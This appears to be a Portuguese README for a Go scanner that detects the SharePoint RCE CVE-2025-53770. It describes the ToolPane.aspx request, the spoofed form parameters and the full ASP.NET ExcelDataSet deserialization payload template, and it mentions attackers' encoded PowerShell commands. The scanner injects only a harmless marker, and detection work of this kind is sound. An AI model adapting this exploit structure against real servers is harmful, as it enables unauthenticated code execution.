
Scanner baseado em Go que detecta a vulnerabilidade RCE CVE-2025-53770 do SharePoint injetando um marcador inofensivo no widget ToolBox e verificando sua presença na resposta do servidor.
Este é um scanner para a vulnerabilidade de execução remota de código não autenticada no SharePoint, à qual foi atribuído o número CVE-2025-53770. O código foi escrito por meio de engenharia reversa de um payload visto na natureza.
Use por sua conta e risco; não sou responsável por qualquer impacto negativo que isso possa causar.
Ele tenta explorar a vulnerabilidade injetando um marcador no widget ToolBox do SharePoint. Se esse marcador inofensivo for encontrado na resposta do servidor SharePoint, o host é marcado como vulnerável.
# check if <TARGET-HOSTNAME> is vulnerable and try extract version information
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# turn on debug logging and try retrieving SharePoint version information
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
Qualquer pessoa que execute a versão on-prem do SharePoint Server sem o KB5002768 e o KB5002754.
A vulnerabilidade presumivelmente baseia-se em uma vulnerabilidade divulgada anteriormente para o SharePoint, CVE-2025-49706.
Ao enviar uma solicitação HTTP POST para https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx com um payload compactado com GZIP e codificado em BASE64, você pode obter execução remota de código como o processo de runtime do SharePoint.
Dois parâmetros de formulário são importantes aqui:
MSOTlPn_Uri: Caminho do controle de origemIsso finge referenciar um controle legítimo do SharePoint (AclEditor.ascx) e engana o SharePoint para permitir a edição da web part.
Isso parece ser um valor simulado/falso apenas para passar na validação.
O payload malicioso original inclui MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx, mas isso não parece ser usado neste ponto.
MSOTlPn_DWP: Configuração parcial da web part.Este parâmetro injeta diretivas ASP.NET personalizadas (<%@ Register %>) e marcação do lado do servidor (<Scorecard:ExcelDataSet>).
O parâmetro CompressedDataTable contém dados serializados controlados pelo atacante (GZIP + base64), acionando a RCE.
Este payload segue uma determinada estrutura:
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
Se um controle como Scorecard:ExcelDataSet existir e sua propriedade CompressedDataTable estiver definida, ele é desserializado diretamente pelo Parser DWP do SharePoint.
O payload em si pode ser bastante interessante, pois pode conter um System.DelegateSerializationHolder que aciona uma RCE por desserialização.
Atores de ameaças abusaram disso para passar /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> em seus payloads a fim de obter execução de código.
No nosso caso, simplesmente passamos um espaço reservado estático para comprovar a explorabilidade;
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>